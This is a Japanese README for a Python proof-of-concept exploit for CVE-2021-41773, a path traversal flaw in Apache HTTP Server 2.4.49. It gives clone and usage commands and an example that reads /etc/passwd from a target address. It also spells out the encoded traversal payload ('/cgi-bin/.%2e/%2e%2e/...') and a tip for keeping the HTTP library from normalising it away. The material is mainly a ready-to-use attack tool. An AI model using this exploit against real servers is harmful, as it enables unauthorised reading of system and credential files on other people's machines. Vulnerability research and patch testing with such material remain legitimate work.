CVE-2021-41773 Apache HTTP サーバーのパストラバーサルエクスプロイト

CVE-2021-41773 向けの Python エクスプロイトです。Apache HTTP Server 2.4.49 のパストラバーサル脆弱性を利用し、サーバー上の任意のファイルを読み取ることができます。

脆弱性の詳細

CVE-2021-41773 は、Apache HTTP Server 2.4.49 におけるパストラバーサル脆弱性で、ユーザー指定のパスの検証が不適切なために発生します。この脆弱性により、攻撃者は URL エンコードされたパストラバーサルシーケンスを使用して、ドキュメントルート外のファイルを読み取ることができます。

• CVSS スコア: 7.5 (High)
• 影響を受けるバージョン: Apache HTTP Server 2.4.49
• 攻撃ベクトル: リモート、認証不要

インストール

git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt

使用方法

python3 cve-2021-41773.py -t <target> -f <file_path>

パラメータ

• -t, --target: ターゲット URL (必要に応じてプロトコルとポートを含める)
• -f, --file: サーバーから読み取るファイルパス

使用例

# Read /etc/passwd
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

動作の仕組み

このエクスプロイトは、URL エンコードされたパストラバーサルシーケンス (.%2e/%2e%2e/) を使用して Apache のパス検証をバイパスします。

1. 脆弱な Apache バージョンはパスを適切にデコードおよび検証できません。
2. URL エンコードされたドット (.%2e) は初期のセキュリティチェックをバイパスします。
3. サーバーはデコード後にパストラバーサルを処理するため、ファイルアクセスが可能になります。

重要なのは、requests.get() の代わりに urllib3.PoolManager() を使用して、エクスプロイトを壊す自動 URL 正規化を防ぐことです。

技術的詳細

# The exploit URL structure:
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{target_file}

これは次のように変換されます:

/cgi-bin/../../../../{target_file}

参考文献

• CVE-2021-41773 - MITRE
• Apache HTTP Server セキュリティアドバイザリ
• NVD - CVE-2021-41773